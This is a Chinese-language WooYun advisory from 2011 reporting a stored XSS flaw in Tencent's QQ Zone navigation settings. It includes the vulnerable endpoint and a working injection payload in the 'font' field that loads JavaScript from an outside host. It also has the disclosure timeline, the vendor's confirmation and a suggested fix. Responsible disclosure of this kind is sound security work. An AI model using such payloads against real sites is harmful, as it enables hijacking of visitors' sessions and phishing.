当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-03320

漏洞标题:QQ空间XSS漏洞,加载任意外部javascript

相关厂商:腾讯

漏洞作者: gainover

提交时间:2011-11-15 23:30

修复时间:2011-12-15 23:30

公开时间:2011-12-15 23:30

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-11-15: 细节已通知厂商并且等待厂商处理中
2011-11-16: 厂商已经确认,细节仅向厂商公开
2011-11-26: 细节向核心白帽子及相关领域专家公开
2011-12-06: 细节向普通白帽子公开
2011-12-16: 细节向实习白帽子公开
2011-12-15: 细节向公众公开

简要描述:

QQ空间某处信息保存时,有字段未对恶意代码进行过滤,导致可以调用任意外部javascript文件。当其它用户访问含有此代码的空间时, 可通过伪造钓鱼页面(试了,效果不错!!仅测试哦,警察叔叔别抓我)或者其它方式来使用该漏洞。

详细说明:

详细说明,见漏洞证明过程。

漏洞证明:

由于浏览器对script标记处理上的一些差异,本测试中的利用代码,是IE-only的。 其它浏览器下的漏洞利用代码,没去构造。
1. 在QQ空间,保存导航信息的时候,请求如下。
http://w.qzone.qq.com/cgi-bin/navigation/qzone_cgi_nav_setinfo?g_tk=496042128
POST的数据中,"font" 字段的内容未被过滤, 导致可以插入代码。
2. 发送数据时,font的内容插入以下代码
encodeURIComponent('",a:(document.getElementsByTagName("script")[2].src="http://xssreport.sinaapp.com/t/22.js"),b:"')
3. -。- 写了个小工具,方便提交, 保存导航信息成功,如下图:


4. 刷新自己QQ空间,因为QQ空间的导航要加载以下地址。
http://r.qzone.qq.com/cgi-bin/navigation/qzone_cgi_nav_getinfo?uin=228715××&tt=163323&g_tk=1637512342
加载内容如下:
callback(
{"font":"恶意构造的代码",
"size":12,
"bold":0,
"colors":"FFFFFF|ED1E79|29ABE2",
"items":[{"href":-1,
"name":"主页",
....
);
可以在内容里看到我们的恶意构造的JS


5. 因而可以看到我们调用的外部JS中弹出的提示。

修复方案:

保存导航信息时,过滤 font 字段的内容。
其实font的长度也可以设置的更短下,一般字体长度也没多长吧。。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2011-11-16 08:48

厂商回复:

thx

最新状态:

暂无